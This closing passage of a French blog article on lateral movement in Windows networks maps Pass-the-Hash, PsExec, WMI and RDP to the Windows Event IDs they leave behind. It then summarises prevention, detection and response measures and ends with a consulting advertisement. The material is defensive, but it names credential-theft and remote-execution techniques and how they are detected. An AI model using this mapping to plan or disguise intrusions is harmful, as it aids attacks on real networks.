  • Threat Hunting : capacité de recherche rétrospective dans la télémétrie (au minimum 30 jours) pour identifier les mouvements latéraux passés

Matrice de détection par technique

Chaque technique de mouvement latéral laisse des traces différentes. Pass-the-Hash génère des Event ID 4624 type 3 avec authentification NTLM. PsExec crée un Event ID 7045 (nouveau service). WMI produit des Event ID 4648 et des processus enfants de wmiprvse.exe. RDP génère des Event ID 4624 type 10. L'approche la plus efficace combine logs Windows + Sysmon + NDR + EDR pour une couverture complète -- chaque source couvre les angles morts des autres.

7. Conclusion : contenir le mouvement latéral

Le mouvement latéral reste la phase la plus critique d'une intrusion. C'est le pont entre un accès initial limité et la compromission totale du système d'information. Les techniques présentées dans cet article -- Pass-the-Hash, Pass-the-Ticket, PsExec, WMI, WinRM, DCOM, RDP hijacking, pivoting -- sont utilisées quotidiennement par les groupes APT et les ransomware operators pour transformer un simple phishing en catastrophe organisationnelle.

La défense repose sur trois piliers complémentaires :

  • Prévention : segmentation réseau, Credential Guard, LAPS, tiering AD, PAW, désactivation des protocoles inutiles, et durcissement des configurations
  • Détection : corrélation des journaux Windows (4624, 4648, 7045), Sysmon avancé, règles Sigma, NDR pour l'analyse réseau, et EDR comportemental sur chaque endpoint
  • Réponse : isolation automatique des machines compromises, playbooks de réponse aux incidents documentés, et capacité d'investigation forensique pour reconstruire la chaîne d'attaque complète

L'approche Zero Trust -- « ne jamais faire confiance, toujours vérifier » -- est le paradigme architectural qui adresse fondamentalement le mouvement latéral. En éliminant la confiance implicite entre les machines d'un même réseau, chaque accès devient une décision explicite basée sur l'identité, le contexte et la posture de sécurité de l'appareil.

Recommandation finale : Testez régulièrement votre capacité à détecter le mouvement latéral. Les exercices de Purple Team -- où l'équipe offensive simule les techniques documentées ici pendant que l'équipe défensive valide ses détections -- sont le moyen le plus efficace d'identifier les angles morts et d'améliorer continuellement votre posture de sécurité.

Besoin d'un accompagnement expert ?

Nos consultants en cybersécurité vous accompagnent dans vos audits Active Directory, vos tests d'intrusion et la sécurisation de votre infrastructure contre le mouvement latéral. Devis personnalisé sous 24h.

Articles connexes

Références externes

Ayi NEDJIMI — Expert en cybersécurité & IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor. Profil complet · LinkedIn · GitHub